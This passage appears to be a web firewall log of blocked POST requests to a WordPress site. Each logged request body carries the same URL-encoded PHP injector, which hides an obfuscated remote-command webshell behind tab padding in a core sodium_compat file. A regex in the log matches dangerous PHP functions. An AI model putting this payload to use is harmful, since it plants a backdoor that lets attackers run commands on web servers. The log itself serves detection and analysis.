8strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI2HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:6221\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\n\nWe=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524item1%2520%253D%2520%2527737%2527%253B%2524item2%2520%253D%2520%2527746%2527%253B%2524item3%2520%253D%2520%2527865%2527%253B%2524item4%2520%253D%2520%2527657%2527%253B%2524item5%2520%253D%2520%2527706%2527%253B%2524item6%2520%253D%2520%2527656%2527%253B%2524item7%2520%253D%2520%2527472%2527%253B%2524item8%2520%253D%2520%25275f6%2527%253B%2524item9%2520%253D%2520%2527765%2527%253B%2524item10%2520%253D%2520%2527745%2527%253B%2524item11%2520%253D%2520%2527f63%2527%253B%2524item12%2520%253D%2520%25276f6%2527%253B%2524item13%2520%253D%2520%2527e74%2527%253B%2524item14%2520%253D%2520%252736c%2527%253B%2524item15%2520%253D%2520%25276f7%2527%253B%2524item16%2520%253D%2520%2527070%2527%253B%2524item17%2520%253D%2520%2527f72%2527%253B%2524item18%2520%253D%2520%2527175%2527%253B%2524item19%2520%253D%2520%2527374%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item1.%2527973%2527.%2524item2.%252756d%2527%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524item3.%25276c6%2527.%2527c5f%2527.%2524item4.%2527865%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2527737%2527.%2527468%2527.%2527727%2527%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item5.%2527f70%2527.%2524item6%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524item7.%2524item6.%252716d%2527.%2524item8.%2524item9.%2524item10.%2524item11.%2524item12.%2524item13.%2527656%2527.%2527e74%2527%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item5.%2524item14.%2524item15.%2527365%2527%2529%253B%2524approve_request%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527617%2527.%2524item16.%2527726%2527.%2527f76%2527.%2527655%2527.%2524item17.%2527657%2527.%2524item18.%2527657%2527.%2524item19%2529%253Bif%2528isset%2528%2524_POST%255B%2524approve_request%255D%2529%2529%257B%2524approve_request%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524approve_request%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524approve_request%252C%2524dat_desc%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dat_desc%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524descriptor_binding%253D%2524right_pad_string5%2528%2524approve_request%252C%2522r%2522%2529%253Bif%2528%2524descriptor_binding%2529%257B%2524element_factor%253D%2524right_pad_string6%2528%2524descriptor_binding%2529%253B%2524right_pad_string7%2528%2524descriptor_binding%2529%253Bprint%2520%2524element_factor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:55:42","77.65.47.245","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> hV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524item1%2520%253D%2520%2527737%2527%253B%2524item2%2520%253D%2520%2527746%2527%253B%2524item3%2520%253D%2520%2527865%2527%253B%2524item4%2520%253D%2520%2527657%2527%253B%2524item5%2520%253D%2520%2527706%2527%253B%2524item6%2520%253D%2520%2527656%2527%253B%2524item7%2520%253D%2520%2527472%2527%253B%2524item8%2520%253D%2520%25275f6%2527%253B%2524item9%2520%253D%2520%2527765%2527%253B%2524item10%2520%253D%2520%2527745%2527%253B%2524item11%2520%253D%2520%2527f63%2527%253B%2524item12%2520%253D%2520%25276f6%2527%253B%2524item13%2520%253D%2520%2527e74%2527%253B%2524item14%2520%253D%2520%252736c%2527%253B%2524item15%2520%253D%2520%25276f7%2527%253B%2524item16%2520%253D%2520%2527070%2527%253B%2524item17%2520%253D%2520%2527f72%2527%253B%2524item18%2520%253D%2520%2527175%2527%253B%2524item19%2520%253D%2520%2527374%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item1.%2527973%2527.%2524item2.%252756d%2527%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524item3.%25276c6%2527.%2527c5f%2527.%2524item4.%2527865%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2527737%2527.%2527468%2527.%2527727%2527%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item5.%2527f70%2527.%2524item6%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524item7.%2524item6.%252716d%2527.%2524item8.%2524item9.%2524item10.%2524item11.%2524item12.%2524item13.%2527656%2527.%2527e74%2527%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item5.%2524item14.%2524item15.%2527365%2527%2529%253B%2524approve_request%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527617%2527.%2524item16.%2527726%2527.%2527f76%2527.%2527655%2527.%2524item17.%2527657%2527.%2524item18.%2527657%2527.%2524item19%2529%253Bif%2528isset%2528%2524_POST%255B%2524approve_request%255D%2529%2529%257B%2524approve_request%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524approve_request%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524approve_request%252C%2524dat_desc%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dat_desc%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524descriptor_binding%253D%2524right_pad_string5%2528%2524approve_request%252C%2522r%2522%2529%253Bif%2528%2524descriptor_binding%2529%257B%2524element_factor%253D%2524right_pad_string6%2528%2524descriptor_binding%2529%253B%2524right_pad_string7%2528%2524descriptor_binding%2529%253Bprint%2520%2524element_factor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-user:?1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnSLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:6221\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\n\nhV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524item1%2520%253D%2520%2527737%2527%253B%2524item2%2520%253D%2520%2527746%2527%253B%2524item3%2520%253D%2520%2527865%2527%253B%2524item4%2520%253D%2520%2527657%2527%253B%2524item5%2520%253D%2520%2527706%2527%253B%2524item6%2520%253D%2520%2527656%2527%253B%2524item7%2520%253D%2520%2527472%2527%253B%2524item8%2520%253D%2520%25275f6%2527%253B%2524item9%2520%253D%2520%2527765%2527%253B%2524item10%2520%253D%2520%2527745%2527%253B%2524item11%2520%253D%2520%2527f63%2527%253B%2524item12%2520%253D%2520%25276f6%2527%253B%2524item13%2520%253D%2520%2527e74%2527%253B%2524item14%2520%253D%2520%252736c%2527%253B%2524item15%2520%253D%2520%25276f7%2527%253B%2524item16%2520%253D%2520%2527070%2527%253B%2524item17%2520%253D%2520%2527f72%2527%253B%2524item18%2520%253D%2520%2527175%2527%253B%2524item19%2520%253D%2520%2527374%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item1.%2527973%2527.%2524item2.%252756d%2527%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524item3.%25276c6%2527.%2527c5f%2527.%2524item4.%2527865%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2527737%2527.%2527468%2527.%2527727%2527%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item5.%2527f70%2527.%2524item6%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524item7.%2524item6.%252716d%2527.%2524item8.%2524item9.%2524item10.%2524item11.%2524item12.%2524item13.%2527656%2527.%2527e74%2527%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item5.%2524item14.%2524item15.%2527365%2527%2529%253B%2524approve_request%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527617%2527.%2524item16.%2527726%2527.%2527f76%2527.%2527655%2527.%2524item17.%2527657%2527.%2524item18.%2527657%2527.%2524item19%2529%253Bif%2528isset%2528%2524_POST%255B%2524approve_request%255D%2529%2529%257B%2524approve_request%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524approve_request%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524approve_request%252C%2524dat_desc%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dat_desc%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524descriptor_binding%253D%2524right_pad_string5%2528%2524approve_request%252C%2522r%2522%2529%253Bif%2528%2524descriptor_binding%2529%257B%2524element_factor%253D%2524right_pad_string6%2528%2524descriptor_binding%2529%253B%2524right_pad_string7%2528%2524descriptor_binding%2529%253Bprint%2520%2524element_factor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:55:44","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> nS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524item1%2520%253D%2520%2527737%2527%253B%2524item2%2520%253D%2520%2527746%2527%253B%2524item3%2520%253D%2520%2527865%2527%253B%2524item4%2520%253D%2520%2527657%2527%253B%2524item5%2520%253D%2520%2527706%2527%253B%2524item6%2520%253D%2520%2527656%2527%253B%2524item7%2520%253D%2520%2527472%2527%253B%2524item8%2520%253D%2520%25275f6%2527%253B%2524item9%2520%253D%2520%2527765%2527%253B%2524item10%2520%253D%2520%2527745%2527%253B%2524item11%2520%253D%2520%2527f63%2527%253B%2524item12%2520%253D%2520%25276f6%2527%253B%2524item13%2520%253D%2520%2527e74%2527%253B%2524item14%2520%253D%2520%252736c%2527%253B%2524item15%2520%253D%2520%25276f7%2527%253B%2524item16%2520%253D%2520%2527070%2527%253B%2524item17%2520%253D%2520%2527f72%2527%253B%2524item18%2520%253D%2520%2527175%2527%253B%2524item19%2520%253D%2520%2527374%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item1.%2527973%2527.%2524item2.%252756d%2527%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524item3.%25276c6%2527.%2527c5f%2527.%2524item4.%2527865%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2527737%2527.%2527468%2527.%2527727%2527%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item5.%2527f70%2527.%2524item6%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524item7.%2524item6.%252716d%2527.%2524item8.%2524item9.%2524item10.%2524item11.%2524item12.%2524item13.%2527656%2527.%2527e74%2527%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item5.%2524item14.%2524item15.%2527365%2527%2529%253B%2524approve_request%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527617%2527.%2524item16.%2527726%2527.%2527f76%2527.%2527655%2527.%2524item17.%2527657%2527.%2524item18.%2527657%2527.%2524item19%2529%253Bif%2528isset%2528%2524_POST%255B%2524approve_request%255D%2529%2529%257B%2524approve_request%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524approve_request%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524approve_request%252C%2524dat_desc%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dat_desc%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524descriptor_binding%253D%2524right_pad_string5%2528%2524approve_request%252C%2522r%2522%2529%253Bif%2528%2524descriptor_binding%2529%257B%2524element_factor%253D%2524right_pad_string6%2528%2524descriptor_binding%2529%253B%2524right_pad_string7%2528%2524descriptor_binding%2529%253Bprint%2520%2524element_factor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoyZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:6221\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\n\nnS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524item1%2520%253D%2520%2527737%2527%253B%2524item2%2520%253D%2520%2527746%2527%253B%2524item3%2520%253D%2520%2527865%2527%253B%2524item4%2520%253D%2520%2527657%2527%253B%2524item5%2520%253D%2520%2527706%2527%253B%2524item6%2520%253D%2520%2527656%2527%253B%2524item7%2520%253D%2520%2527472%2527%253B%2524item8%2520%253D%2520%25275f6%2527%253B%2524item9%2520%253D%2520%2527765%2527%253B%2524item10%2520%253D%2520%2527745%2527%253B%2524item11%2520%253D%2520%2527f63%2527%253B%2524item12%2520%253D%2520%25276f6%2527%253B%2524item13%2520%253D%2520%2527e74%2527%253B%2524item14%2520%253D%2520%252736c%2527%253B%2524item15%2520%253D%2520%25276f7%2527%253B%2524item16%2520%253D%2520%2527070%2527%253B%2524item17%2520%253D%2520%2527f72%2527%253B%2524item18%2520%253D%2520%2527175%2527%253B%2524item19%2520%253D%2520%2527374%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item1.%2527973%2527.%2524item2.%252756d%2527%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524item3.%25276c6%2527.%2527c5f%2527.%